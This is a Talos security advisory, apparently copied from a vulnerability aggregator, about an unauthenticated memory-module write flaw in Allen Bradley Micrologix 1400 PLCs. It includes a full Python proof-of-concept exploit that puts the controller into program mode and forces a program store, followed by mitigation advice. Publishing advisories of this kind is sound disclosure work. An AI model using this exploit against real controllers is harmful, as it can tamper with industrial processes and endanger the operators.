Lucene search

K
talosTalos IntelligenceTALOS-2017-0444
HistoryMar 28, 2018 - 12:00 a.m.

Allen Bradley Micrologix 1400 Series B Memory Module Store Program File Write Vulnerability

2018-03-2800:00:00
Talos Intelligence
www.talosintelligence.com
318

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:L/Au:N/C:N/I:P/A:N

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

0.001 Low

EPSS

Percentile

26.6%

Summary

An exploitable file write vulnerability exists in the memory module functionality of Allen Bradley Micrologix 1400 Series B FRN 21.2 and before. A specially crafted packet can cause a file write resulting in a new program being written to the memory module. An attacker can send an unauthenticated packet to trigger this vulnerability.

Tested Versions

Allen Bradley Micrologix 1400 Series B FRN 21.2 Allen Bradley Micrologix 1400 Series B FRN 21.0 Allen Bradley Micrologix 1400 Series B FRN 15

Product URLs

<http://ab.rockwellautomation.com/Programmable-Controllers/MicroLogix-1400&gt;

CVSSv3 Score

3.7 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

CWE

CWE-200: Information Exposure

Details

When a memory module is installed in a Micrologix 1400, it is possible to instruct the PLC to write its program to that module without authentication. A program that is written to the memory module can be used in a few different ways: as just a backup, as the program to load when an error occurs, and as the program to load every time the device powers on. By leveraging unauthenticated file write vulnerabilities and the device crash vulnerability in conjunction with this write, it is possible to change device settings and flash new firmware.

Exploit Proof-of-Concept

Usage: python .py -i [-p ] Where the elements are as follows: - : whatever name you give the script - : ip address of the plc - : EtherNet/IP port (defaults to 44818)

import argparse
import socket
import binascii
import random
import crcmod.predefined

parser = argparse.ArgumentParser()
parser.add_argument("-i", "--ipaddr", help="target ip address", type=str)
parser.add_argument("-p", "--port", help="target port", default=44818, type=int)
args = parser.parse_args()
 
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
dst = args.ipaddr
port = args.port

def pad_hex(hex_str, size):
    if "0x" in hex_str: hex_str = "".join(hex_str.split("0x"))
    if len(hex_str) != size:
        numzeros = size - len(hex_str)
        zeros = "0"*numzeros
        hex_str = "%s%s" % (zeros, hex_str)
    return hex_str
 
def get_tns():
    temp_tns = pad_hex(hex(int(random.random()*65535)).replace("0x",""), 4)
    tns = binascii.unhexlify(temp_tns)
    return tns
 
def build_eth_instruction(instruction_elements, session_handle):
    command_code      = "\x6f\x00"
    status            = "\x00\x00\x00\x00"
    sender_context    = "\x00\x00\x00\x01\x00\x28\x1e\x4d"
    options           = "\x00\x00\x00\x00"
    handle            = "\x00\x00\x00\x00"
    timeout           = "\x00\x00"
    num_items         = "\x02\x00"
    addr_data_type    = "\x00\x00"
    addr_data_length  = "\x00\x00"
    data_data_type    = "\xb2\x00"
    service_code      = "\x4b"
    size_req_path     = "\x02"
    req_path          = "\x20\x67\x24\x01"
    length_req_id     = "\x07"
    cip_vendor_id     = "\x01\x00"
    cip_ser_num       = "\xf2\x0c\x02\x00"
    cmd = instruction_elements['cmd']
    sts = "\x00"
    tns = get_tns()
    fnc = instruction_elements['fnc']
    data = instruction_elements['data']
 
    pccc_cmd = "%s%s%s%s%s" % (cmd, sts, tns, fnc, data)
 
    data_data_length = len(service_code) + len(size_req_path) + len(req_path) + len(length_req_id) + len(cip_vendor_id) + len(cip_ser_num) + len(pccc_cmd)
    data_length = "%s\x00" % binascii.unhexlify(hex(data_data_length + 16)[2:]) 
    data_data_length = "%s\x00" % binascii.unhexlify(hex(data_data_length)[2:]) 
 
    payload = "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s" % (command_code, data_length, session_handle, status, sender_context, options, handle, timeout, num_items, addr_data_type, addr_data_length, data_data_type, data_data_length, service_code, size_req_path, req_path, length_req_id, cip_vendor_id, cip_ser_num, pccc_cmd)
 
    return payload
 
def send_instruction(instruction_elements, session_handle):
    return_response = ""
    instruction = build_eth_instruction(instruction_elements, session_handle)
    sock.send(instruction)
    return_response = sock.recv(1024)
 
    return return_response
 
def set_cpu_state(state, session_handle):
    payload = ""
    if state == "run": payload = {"cmd":"\x0f","fnc":"\x80","data":"\x06"}
    elif state == "program": payload = {"cmd":"\x0f","fnc":"\x80","data":"\x01"}
    send_instruction(payload, session_handle)
 
def register_session():
    registersession_data = "\x65\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x28\x1e\x4d\x00\x00\x00\x00\x01\x00\x00\x00"
    sock.send(registersession_data)
    reg_session_response = binascii.hexlify(sock.recv(28))
    session_handle = binascii.unhexlify(reg_session_response[8:16])
    return session_handle
 
session_handle = ""
sock.connect((dst, port))
session_handle = register_session()

set_cpu_state("program", session_handle)

store_to_eeprom = {"cmd":"\x0f","fnc":"\x58","data":"\x01\x00\x00\x00"}
send_instruction(store_to_eeprom, session_handle)

sock.shutdown(socket.SHUT_RDWR)
sock.close()

Mitigation

Simply disabling EtherNet/IP on the device through RSLogix will not prevent this attack as it uses a different technique from that used in standard traffic.

While the above technique is used during legitimate operations, this activity should be rare and should not occur without the knowledge of the PLC operators. As such, monitoring of traffic to and from the Micrologix 1400 and other sensitive hosts is recommended. Further, organizations should implement proper network segmentation to help prevent unauthorized users from accessing the PLC.

Timeline

2017-09-22 - Vendor Disclosure
2018-03-28 - Public Release

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:L/Au:N/C:N/I:P/A:N

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

0.001 Low

EPSS

Percentile

26.6%